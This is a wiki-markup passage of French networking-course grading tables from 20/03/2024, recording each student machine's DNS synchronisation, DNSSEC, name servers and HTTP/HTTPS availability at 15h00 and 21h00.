|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu 20/03/2024 ==&lt;br /&gt;
&lt;br /&gt;
=== Contrôle à 15h00 ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Nom machine&lt;br /&gt;
! Synchronisation DNS !! DNSSEC !! Serveurs de noms &lt;br /&gt;
! Serveur HTTP sur le domaine !! Serveur HTTP sur www&lt;br /&gt;
! Serveur HTTPS sur le domaine !! Serveur HTTPS sur www&lt;br /&gt;
|-&lt;br /&gt;
| 1 || aigle || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2022030506) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;aigle.lol name server ns1.aigle.lol.&amp;lt;br /&amp;gt;aigle.lol name server ns.nyala.website.&amp;lt;/div&amp;gt; || pas de serveur HTTP pour aigle.lol || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.aigle.lol&amp;lt;/div&amp;gt; || pas de serveur HTTPS pour aigle.lol || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.aigle.lol&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 2 || chevreuil || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3623) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;chevreuil.lol name server ns.belette.lol.&amp;lt;br /&amp;gt;chevreuil.lol name server ns.chevreuil.lol.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour chevreuil.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.chevreuil.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour chevreuil.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.chevreuil.lol&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 3 || belette || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3623) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;belette.lol name server ns.belette.lol.&amp;lt;br /&amp;gt;belette.lol name server ns.chevreuil.lol.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour belette.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.belette.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour belette.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.belette.lol&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 4 || truite || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3621) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;truite.fun name server ns.truite.fun.&amp;lt;br /&amp;gt;truite.fun name server ns.esturgeon.fun.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour truite.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.truite.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour truite.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.truite.fun&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 5 || esturgeon || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3620) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;esturgeon.fun name server ns.truite.fun.&amp;lt;br /&amp;gt;esturgeon.fun name server ns.esturgeon.fun.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour esturgeon.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.esturgeon.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour esturgeon.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.esturgeon.fun&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 6 || palourde || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3640) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;palourde.fun name server ns.palourde.fun.&amp;lt;br /&amp;gt;palourde.fun name server ns.bigorneau.fun.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour palourde.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.palourde.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour palourde.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.palourde.fun&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || bigorneau || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3628) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;bigorneau.fun name server ns.palourde.fun.&amp;lt;br /&amp;gt;bigorneau.fun name server ns.bigorneau.fun.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour bigorneau.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.bigorneau.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour bigorneau.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.bigorneau.fun&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 8 || munchkin || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2024060302) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;munchkin.site name server ns.siamois.site.&amp;lt;br /&amp;gt;munchkin.site name server ns.munchkin.site.&amp;lt;/div&amp;gt; || pas de serveur HTTP pour munchkin.site || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.munchkin.site&amp;lt;/div&amp;gt; || pas de serveur HTTPS pour munchkin.site || pas de serveur HTTPS pour www.munchkin.site&lt;br /&gt;
|-&lt;br /&gt;
| 9 || ecureuil || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3609) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;ecureuil.pics name server ns.lynx.pics.&amp;lt;br /&amp;gt;ecureuil.pics name server ns.ecureuil.pics.&amp;lt;/div&amp;gt; || pas de serveur HTTP pour ecureuil.pics || pas de serveur HTTP pour www.ecureuil.pics || pas de serveur HTTPS pour ecureuil.pics || pas de serveur HTTPS pour www.ecureuil.pics&lt;br /&gt;
|-&lt;br /&gt;
| 10 || siamois || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2024060306) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;siamois.site name server ns.siamois.site.&amp;lt;br /&amp;gt;siamois.site name server ns.munchkin.site.&amp;lt;/div&amp;gt; || pas de serveur HTTP pour siamois.site || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.siamois.site&amp;lt;/div&amp;gt; || pas de serveur HTTPS pour siamois.site || pas de serveur HTTPS pour www.siamois.site&lt;br /&gt;
|-&lt;br /&gt;
| 11 || lynx || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3609) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;lynx.pics name server ns.lynx.pics.&amp;lt;br /&amp;gt;lynx.pics name server ns.ecureuil.pics.&amp;lt;/div&amp;gt; || pas de serveur HTTP pour lynx.pics || pas de serveur HTTP pour www.lynx.pics || pas de serveur HTTPS pour lynx.pics || pas de serveur HTTPS pour www.lynx.pics&lt;br /&gt;
|-&lt;br /&gt;
| 12 || nyala || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2022030510) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;nyala.website name server ns1.aigle.lol.&amp;lt;br /&amp;gt;nyala.website name server ns.nyala.website.&amp;lt;/div&amp;gt; || pas de serveur HTTP pour nyala.website || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.nyala.website&amp;lt;/div&amp;gt; || pas de serveur HTTPS pour nyala.website || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.nyala.website&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 13 || tigre || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || || &amp;lt;div style=&amp;quot;color: blue;&amp;quot;&amp;gt;HTTPS par letsencrypt ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || ornithorynque || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3624) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;ornithorynque.lol name server ns.caribou.lol.&amp;lt;br /&amp;gt;ornithorynque.lol name server ns.ornithorynque.lol.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour ornithorynque.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.ornithorynque.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour ornithorynque.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.ornithorynque.lol&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 15 || axolotl || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3616) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;axolotl.lol name server ns.axolotl.lol.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour axolotl.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.axolotl.lol&amp;lt;/div&amp;gt; || pas de serveur HTTPS pour axolotl.lol || pas de serveur HTTPS pour www.axolotl.lol&lt;br /&gt;
|-&lt;br /&gt;
| 16 || caribou || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3625) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;caribou.lol name server ns.caribou.lol.&amp;lt;br /&amp;gt;caribou.lol name server ns.ornithorynque.lol.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour caribou.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.caribou.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour caribou.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.caribou.lol&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 17 || panthere || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || || &amp;lt;div style=&amp;quot;color: blue;&amp;quot;&amp;gt;HTTPS par letsencrypt ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || singe || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2024060304) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;singe.lol name server ns.loutre.lol.&amp;lt;br /&amp;gt;singe.lol name server ns.singe.lol.&amp;lt;/div&amp;gt; || pas de serveur HTTP pour singe.lol || pas de serveur HTTP pour www.singe.lol || pas de serveur HTTPS pour singe.lol || pas de serveur HTTPS pour www.singe.lol&lt;br /&gt;
|-&lt;br /&gt;
| 19 || loutre || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2024060304) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;loutre.lol name server ns.singe.lol.&amp;lt;br /&amp;gt;loutre.lol name server ns.loutre.lol.&amp;lt;/div&amp;gt; || pas de serveur HTTP pour loutre.lol || pas de serveur HTTP pour www.loutre.lol || pas de serveur HTTPS pour loutre.lol || pas de serveur HTTPS pour www.loutre.lol&lt;br /&gt;
|-&lt;br /&gt;
| 20 || fennec || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3611) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;fennec.pics name server ns.castor-canard.lol.&amp;lt;br /&amp;gt;fennec.pics name server ns.fennec.pics.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour fennec.pics&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.fennec.pics&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour fennec.pics&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.fennec.pics&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 21 || castor-canard || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3612) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;castor-canard.lol name server ns.fennec.pics.&amp;lt;br /&amp;gt;castor-canard.lol name server ns.castor-canard.lol.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour castor-canard.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.castor-canard.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour castor-canard.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.castor-canard.lol&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Contrôle à 21h00 ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Nom machine&lt;br /&gt;
! Synchronisation DNS !! DNSSEC !! Serveurs de noms &lt;br /&gt;
! Serveur HTTP sur le domaine !! Serveur HTTP sur www&lt;br /&gt;
! Serveur HTTPS sur le domaine !! Serveur HTTPS sur www&lt;br /&gt;
|-&lt;br /&gt;
| 1 || aigle || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2022030506) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;aigle.lol name server ns1.aigle.lol.&amp;lt;br /&amp;gt;aigle.lol name server ns.nyala.website.&amp;lt;/div&amp;gt; || pas de serveur HTTP pour aigle.lol || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.aigle.lol&amp;lt;/div&amp;gt; || pas de serveur HTTPS pour aigle.lol || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.aigle.lol&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 2 || chevreuil || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3623) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;chevreuil.lol name server ns.belette.lol.&amp;lt;br /&amp;gt;chevreuil.lol name server ns.chevreuil.lol.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour chevreuil.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.chevreuil.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour chevreuil.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.chevreuil.lol&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 3 || belette || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3623) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;belette.lol name server ns.chevreuil.lol.&amp;lt;br /&amp;gt;belette.lol name server ns.belette.lol.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour belette.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.belette.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour belette.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.belette.lol&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 4 || truite || DNS non synchronisés (serial1=3628, serial2=3622) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;truite.fun name server ns.truite.fun.&amp;lt;br /&amp;gt;truite.fun name server ns.esturgeon.fun.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour truite.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.truite.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour truite.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.truite.fun&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 5 || esturgeon || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3620) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;esturgeon.fun name server ns.truite.fun.&amp;lt;br /&amp;gt;esturgeon.fun name server ns.esturgeon.fun.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour esturgeon.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.esturgeon.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour esturgeon.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.esturgeon.fun&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 6 || palourde || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3640) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;palourde.fun name server ns.palourde.fun.&amp;lt;br /&amp;gt;palourde.fun name server ns.bigorneau.fun.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour palourde.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.palourde.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour palourde.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.palourde.fun&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || bigorneau || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3628) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;bigorneau.fun name server ns.bigorneau.fun.&amp;lt;br /&amp;gt;bigorneau.fun name server ns.palourde.fun.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour bigorneau.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.bigorneau.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour bigorneau.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.bigorneau.fun&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 8 || munchkin || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2024060312) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;munchkin.site name server ns.siamois.site.&amp;lt;br /&amp;gt;munchkin.site name server ns.munchkin.site.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour munchkin.site&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.munchkin.site&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour munchkin.site&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.munchkin.site&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 9 || ecureuil || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3609) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;ecureuil.pics name server ns.ecureuil.pics.&amp;lt;br /&amp;gt;ecureuil.pics name server ns.lynx.pics.&amp;lt;/div&amp;gt; || pas de serveur HTTP pour ecureuil.pics || pas de serveur HTTP pour www.ecureuil.pics || pas de serveur HTTPS pour ecureuil.pics || pas de serveur HTTPS pour www.ecureuil.pics&lt;br /&gt;
|-&lt;br /&gt;
| 10 || siamois || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2024060314) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;siamois.site name server ns.munchkin.site.&amp;lt;br /&amp;gt;siamois.site name server ns.siamois.site.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour siamois.site&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.siamois.site&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour siamois.site&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.siamois.site&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 11 || lynx || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3609) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;lynx.pics name server ns.lynx.pics.&amp;lt;br /&amp;gt;lynx.pics name server ns.ecureuil.pics.&amp;lt;/div&amp;gt; || pas de serveur HTTP pour lynx.pics || pas de serveur HTTP pour www.lynx.pics || pas de serveur HTTPS pour lynx.pics || pas de serveur HTTPS pour www.lynx.pics&lt;br /&gt;
|-&lt;br /&gt;
| 12 || nyala || DNS non synchronisés (serial1=2024031302, serial2=2022030510) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;nyala.website name server ns1.aigle.lol.&amp;lt;br /&amp;gt;nyala.website name server ns.nyala.website.&amp;lt;/div&amp;gt; || pas de serveur HTTP pour nyala.website || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.nyala.website&amp;lt;/div&amp;gt; || pas de serveur HTTPS pour nyala.website || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.nyala.website&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 13 || tigre || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || ornithorynque || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3624) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;ornithorynque.lol name server ns.ornithorynque.lol.&amp;lt;br /&amp;gt;ornithorynque.lol name server ns.caribou.lol.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour ornithorynque.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.ornithorynque.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour ornithorynque.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.ornithorynque.lol&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 15 || axolotl || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3621) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;axolotl.lol name server ns.axolotl.lol.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour axolotl.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.axolotl.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour axolotl.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.axolotl.lol&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 16 || caribou || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3625) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;caribou.lol name server ns.caribou.lol.&amp;lt;br /&amp;gt;caribou.lol name server ns.ornithorynque.lol.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour caribou.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.caribou.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour caribou.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.caribou.lol&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 17 || panthere || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || singe || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2024060306) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;singe.lol name server ns.loutre.lol.&amp;lt;br /&amp;gt;singe.lol name server ns.singe.lol.&amp;lt;/div&amp;gt; || pas de serveur HTTP pour singe.lol || pas de serveur HTTP pour www.singe.lol || pas de serveur HTTPS pour singe.lol || pas de serveur HTTPS pour www.singe.lol&lt;br /&gt;
|-&lt;br /&gt;
| 19 || loutre || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2024060309) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;loutre.lol name server ns.loutre.lol.&amp;lt;br /&amp;gt;loutre.lol name server ns.singe.lol.&amp;lt;/div&amp;gt; || pas de serveur HTTP pour loutre.lol || pas de serveur HTTP pour www.loutre.lol || pas de serveur HTTPS pour loutre.lol || pas de serveur HTTPS pour www.loutre.lol&lt;br /&gt;
|-&lt;br /&gt;
